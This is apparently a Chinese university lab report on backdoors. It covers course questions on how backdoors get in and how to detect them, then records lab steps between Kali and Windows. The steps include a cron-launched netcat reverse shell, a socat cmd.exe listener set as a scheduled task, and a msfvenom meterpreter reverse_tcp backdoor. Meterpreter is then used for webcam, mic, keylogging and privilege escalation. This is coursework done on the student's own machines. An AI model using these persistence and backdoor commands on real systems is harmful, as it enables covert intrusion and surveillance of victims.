20145301《网络对抗》Exp2 后门原理与实践
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 系统或者某些软件自身留下的后门。
- 钓鱼网站等非正规网站上捆绑下载
- 例举你知道的后门如何启动起来(win及linux)的方式?
- 操作系统自带服务;
- 网络协议捆绑;
- 被控端被设置了cron启动,定时循环启动;
- 被控端被设置了任务计划启动,在被控端达到某个条件时自动运行;
- 社会工程学等相关方式,比如诱导你自己打开后门软件;
- Meterpreter有哪些给你映像深刻的功能?
- 通过指令可以捕获计算机的摄像头,这样可以在毫无察觉的情况下隐私完全曝光
- 可以捕获键盘敲击信息,这样,经过识别,无论时聊天记录,还是账号密码都可以被非法获取。
- 可以直接提升攻击者的权限,获取靶机的shell
- 如何发现自己有系统有没有被安装后门?
- 没有经过免杀处理的常见后门程序会很容易就被杀毒工具发现并清理;
- 查看开启的端口和对应的进程,发现非默认常见的端口,找到对应的进程,对其行为分析;
- 下载专门的监控防护软件。
实验总结与体会
- 在这次实验中体会了一把当“黑客”的感觉,虽然是自己入侵自己,但实验成功的时候还是十分喜悦激动的。也能理解那些当年的爱好者为何能在毫无利益驱动下依然孜孜不倦的做着各种尝试和攻击。而现在的攻击者日渐功利化、专业化、集团化,这就使防范变的更加困难和艰巨。
- 在这次实验中深刻体会到了计算机系统的脆弱性。短短的几行代码和攻击程序就能将整个电脑占为己用。尤其时大多数人没有足够的防范意识和措施,更加致使现在网络病毒木马后门等程序的泛滥。
- 在除了从自身做起,提高安全防范意识。比如:不在不安全的网站上下载软件、视频等,定时更新杀软、关闭不需要的端口,定期更新系统及时打上补丁,学会对进程进行查看与操作,及时发现计算机中等异常情况等等等等。还要像身边人宣传这种防范意识,共同抵御安全威胁。
实践过程记录
Windows获得Linux Shell
-
在Windows下查看IP并监听5301端口
-
在Kali下,使用nc指令的-e选项反向连接Windows的5301端口:
-
Windows下便可获得Kali的shell:
Linux获得Windows Shell
-
Kali下查看IP:
-
使用nc指令监听5215端口:
-
Windows使用ncat.exe程序的-e选项项反向连接Kali的5301端口:
-
Kali下可以输入Windows命令:
使用nc传输数据
-
Windows下监听5301端口:
-
Kali下连接到Windows的5301端口,即可开始对话:
(1)使用netcat获取主机操作Shell,cron启动
-
先在Windows系统下,监听5301端口:
-
用crontab -e指令编辑一条定时任务,选择vim编辑器:crontab指令可以用于设置周期性被执行的指令
-
在最后一行添加06 * * * * /bin/netcat 192.168.1.106 5301 -e /bin/sh,在每个小时的第06分钟反向连接Windows主机的5301端口
-
每当时间到了06分时,便可获得Kali的shell。
(2)使用socat获取主机操作Shell, 任务计划启动
-
在Windows系统下,打开控制面板-更多-管理工具-任务计划程序,创建任务,并新建一个触发器:
-
在操作-程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5301 exec:cmd.exe,pty,stderr。
-
创建完成之后,锁定计算机,再次打开时,创建的任务已经开始运行:
-
此时,在Kali环境下输入指令socat - tcp:192.168.1.106:5301,便成功获得了一个cmd shell:
(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5301 -f exe > 20145301_backdoor.exe生成后门程序:
-
通过nc将生成的后门程序传送到Windows主机上:
-
在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
-
设置完成后,执行监听:
-
打开Windows上的后门程序:
-
此时Kali上可以远程控制的shell:
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
record_mic指令可以截获一段音频(但时间非常短...); webcam_snap指令可以使用摄像头进行拍照;webcam stream指令可以使用摄像头进行录像:
-
screenshot指令可以进行截屏:
-
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令可以读取击键的记录:
-
getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功